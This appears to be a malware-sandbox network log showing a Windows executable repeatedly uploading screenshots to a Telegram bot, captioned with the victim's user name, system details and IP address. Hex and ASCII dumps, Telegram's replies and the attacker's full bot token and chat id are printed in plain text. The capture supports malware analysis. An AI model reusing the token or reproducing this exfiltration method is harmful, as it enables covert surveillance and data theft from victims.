Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:34:13 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc641d35d1784c Host: api.telegram.org Content-Length: 67144 Expect: 100-continue
2024-04-19 17:34:14 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 34 31 64 33 35 64 31 37 38 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 34 31 64 33 35 64 31 37 38 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 34 2f 32 34 2f 32 30 32 34 20 30 35 3a 30 37 3a 35 39 0a 55 73 65 72 Data Ascii: -----------------------------8dc641d35d1784cContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc641d35d1784cContent-Disposition: form-data; name="caption"New SC Recovered!Time: 04/24/2024 05:07:59User
2024-04-19 17:34:14 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:34:14 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:34:14 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:34:14 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:34:14 UTC	1558	OUT	Data Raw: e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 00 4f ff 00 1e f2 7f ba 7f 95 7c f3 5f 41 cd 34 46 09 00 91 09 2a 7f 88 7a 57 cf 95 71 33 98 56 e6 99 e2 49 ec ec 7e c1 73 6b 05 fd 9e 77 2c 37 0b 90 a7 d4 1e df 85 61 d1 54 41 b9 a9 f8 92 7b cb 1f b0 5b 5a c1 61 67 9d cd 0d ba e0 31 f5 27 bf e3 58 74 51 40 05 14 51 4c 02 b5 ee 7c 4f ae 5c 5d 4b 3f f6 ad e4 5e 63 97 f2 e2 b8 75 45 c9 ce 14 67 80 3b 56 Data Ascii: Q=S%OQ=S%OQ=S%OQ=S%OQ=S%OQ=S%OQ=SO\|_A4F*zWq3VI~skw,7aTA{[Zag1'XtQ@QL\|O\]K?^cuEg;V
2024-04-19 17:34:14 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 34 31 64 33 35 64 31 37 38 34 63 2d 2d 0d 0a Data Ascii: -----------------------------8dc641d35d1784c--
2024-04-19 17:34:14 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:34:14 UTC	1485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:34:14 GMT Content-Type: application/json Content-Length: 1096 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3389,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548054,"document":{"file_name":"user-618321 2024-04-24 05-12-59.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg09ZiKrFuU3wQABBBDHVD8ReyDOBjl1AAKtFwACi1IZUYHvec-2_rA0AQAHbQADNAQ","file_unique_id":"AQADrRcAAotSGVFy","file_size":12508,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg09ZiKrFuU3wQABBBDHVD8ReyDOBjl1AAKtFwACi1IZUYHvec-2_rA0AQAHbQADNAQ","file_unique_id":"AQADrRcAAotSGVFy","file_size":12508,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINPWYiqxblN8EAAQQQx1Q_EXsgzgY5dQACrRcAAotSGVGB73nPtv6wNDQE","file_unique_id":"AgADrRcAAotSGVE","file_size":66521},"caption":"New SC Recovered!\n\nTime: 04/24/2024 05:07:59\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:34:35 UTC	238	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc6905e4c74819 Host: api.telegram.org Content-Length: 67144 Expect: 100-continue
2024-04-19 17:34:35 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 39 30 35 65 34 63 37 34 38 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 39 30 35 65 34 63 37 34 38 31 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 34 2f 33 30 2f 32 30 32 34 20 31 31 3a 30 38 3a 34 30 0a 55 73 65 72 Data Ascii: -----------------------------8dc6905e4c74819Content-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc6905e4c74819Content-Disposition: form-data; name="caption"New SC Recovered!Time: 04/30/2024 11:08:40User
2024-04-19 17:34:35 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:34:35 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:34:35 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:34:35 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:34:35 UTC	1558	OUT	Data Raw: e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 00 4f ff 00 1e f2 7f ba 7f 95 7c f3 5f 41 cd 34 46 09 00 91 09 2a 7f 88 7a 57 cf 95 71 33 98 56 e6 99 e2 49 ec ec 7e c1 73 6b 05 fd 9e 77 2c 37 0b 90 a7 d4 1e df 85 61 d1 54 41 b9 a9 f8 92 7b cb 1f b0 5b 5a c1 61 67 9d cd 0d ba e0 31 f5 27 bf e3 58 74 51 40 05 14 51 4c 02 b5 ee 7c 4f ae 5c 5d 4b 3f f6 ad e4 5e 63 97 f2 e2 b8 75 45 c9 ce 14 67 80 3b 56 Data Ascii: Q=S%OQ=S%OQ=S%OQ=S%OQ=S%OQ=S%OQ=SO\|_A4F*zWq3VI~skw,7aTA{[Zag1'XtQ@QL\|O\]K?^cuEg;V
2024-04-19 17:34:35 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 39 30 35 65 34 63 37 34 38 31 39 2d 2d 0d 0a Data Ascii: -----------------------------8dc6905e4c74819--
2024-04-19 17:34:35 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:34:36 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:34:36 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3412,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548076,"document":{"file_name":"user-618321 2024-04-30 11-08-41.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1UZiKrLDnbUIdgcmcpSX4fDVFbjYAAAq4XAAKLUhlRBZsefgJ4hMkBAAdtAAM0BA","file_unique_id":"AQADrhcAAotSGVFy","file_size":12508,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1UZiKrLDnbUIdgcmcpSX4fDVFbjYAAAq4XAAKLUhlRBZsefgJ4hMkBAAdtAAM0BA","file_unique_id":"AQADrhcAAotSGVFy","file_size":12508,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINVGYiqyw521CHYHJnKUl-Hw1RW42AAAKuFwACi1IZUQWbHn4CeITJNAQ","file_unique_id":"AgADrhcAAotSGVE","file_size":66521},"caption":"New SC Recovered!\n\nTime: 04/30/2024 11:08:40\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49720	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:34:58 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc6e654d78418e Host: api.telegram.org Content-Length: 67144 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:34:58 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 65 36 35 34 64 37 38 34 31 38 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 65 36 35 34 64 37 38 34 31 38 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 30 37 2f 32 30 32 34 20 30 37 3a 30 39 3a 31 31 0a 55 73 65 72 Data Ascii: -----------------------------8dc6e654d78418eContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc6e654d78418eContent-Disposition: form-data; name="caption"New SC Recovered!Time: 05/07/2024 07:09:11User
2024-04-19 17:34:58 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:34:58 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:34:58 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
